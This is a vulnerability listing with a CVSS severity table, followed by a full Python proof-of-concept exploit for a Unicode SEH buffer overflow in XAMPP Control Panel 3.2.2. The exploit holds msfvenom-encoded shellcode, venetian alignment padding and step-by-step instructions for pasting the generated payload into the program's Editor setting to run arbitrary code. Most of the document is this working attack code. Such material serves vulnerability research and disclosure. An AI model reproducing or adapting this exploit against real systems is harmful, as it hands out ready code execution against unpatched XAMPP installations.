CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

XAMPP Control Panel 3.2.2 Buffer Overflow

# Exploit Title: XAMPP Control Panel 3.2.2 - Buffer Overflow (SEH) (Unicode) # Exploit Author: Gionathan "John" Reale (0-day DoS exploit), Semen Alexandrovich Lyhin (1-day fully working exploit). # Shellcode Author: Giuseppe D'Amore (EDB:28996) # Date: 2018-11-08. # Software: XAMPP # Version: 3.2.2 / 7.2.9 (Newest version at time of writing) # Download: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.9/xampp-portable-win32-7.2.9-0-VC15-installer.exe/download # Tested on: Windows 10 64bit with XAMPP 32bit. Should work on any Windows since XP. # Special thanks to Deloitte Ukraine for providing few payed hours to create this exploit. # Steps to Reproduce: # Run the python exploit script, it will create a new file with the name "exploit.txt". # Copy the contents of "exploit.txt" # Start the program and click "Config (Top Right With Symbol)" # Paste the contents of "exploit.txt" into the following field: "Editor". # Click "Save" and then in the main window Click "Config" > "Apache (httpd.conf)". # You will see that arbitrary code is executed. It should pop a messagebox. #cat 28996.bin | msfvenom -p - -a x86 --platform win -f py -e x86/unicode_mixed BufferRegister=EAX #Length is 352, but double it. buf = "" buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49" buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" buf += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41" buf += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51" buf += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31" buf += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41" buf += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41" buf += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41" buf += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41" buf += "\x47\x42\x39\x75\x34\x4a\x42\x50\x31\x4a\x32\x68\x32" buf += "\x50\x30\x61\x54\x34\x4b\x4a\x72\x74\x4b\x72\x32\x6a" buf += "\x6c\x44\x4b\x4e\x72\x4d\x4c\x62\x6b\x4d\x72\x79\x78" buf += "\x62\x6b\x31\x62\x4d\x50\x34\x4b\x4b\x62\x31\x70\x51" buf += "\x6e\x6a\x6c\x50\x33\x62\x55\x68\x72\x75\x39\x69\x37" buf += "\x4a\x63\x51\x68\x6f\x4c\x52\x6b\x4f\x67\x44\x38\x4a" buf += "\x61\x45\x72\x52\x6b\x33\x4a\x4f\x30\x7a\x61\x77\x57" buf += "\x4e\x51\x38\x6d\x64\x4b\x4d\x64\x74\x6f\x4a\x61\x36" buf += "\x66\x70\x45\x42\x61\x6d\x6e\x4e\x66\x43\x31\x64\x34" buf += "\x50\x61\x72\x55\x58\x72\x32\x61\x53\x4e\x49\x78\x6f" buf += "\x55\x51\x68\x32\x49\x53\x44\x32\x55\x57\x79\x52\x6b" buf += "\x53\x4a\x6f\x34\x4a\x61\x55\x77\x6f\x76\x62\x6b\x6e" buf += "\x4c\x50\x6f\x54\x4b\x51\x6a\x6d\x4c\x6d\x31\x36\x67" buf += "\x42\x6b\x63\x4c\x36\x4f\x79\x6c\x39\x71\x37\x57\x72" buf += "\x48\x4d\x75\x4f\x54\x4f\x31\x6b\x51\x33\x38\x30\x4c" buf += "\x6e\x6f\x71\x39\x4e\x74\x50\x68\x6b\x70\x51\x35\x6f" buf += "\x68\x42\x30\x71\x79\x69\x51\x59\x6e\x70\x49\x5a\x6b" buf += "\x4c\x71\x47\x50\x4e\x71\x62\x30\x69\x6f\x59\x47\x41" buf += "\x41" # venetian padding ven = "\x53" #push esi ven += "\x43" #align ven += "\x58" #pop eax ven += "\x43" #align ven += "\x05\x50\x11" #add eax,11005000 ven += "\x43" #align ven += "\x2d\x1c\x11" #sub eax,33001700 ven += "\x43" #align ven += "\x48" #dec eax ven += "\x43" #align ven += "\x43"*2 #nops payload = "\x43"*270 + "\x37\x53" + ven + buf + "\x43" * (6000 - 2 - 270 - len(ven+buf)) try: f=open("exploit.txt","w") print "[+] Creating %s bytes evil payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created"
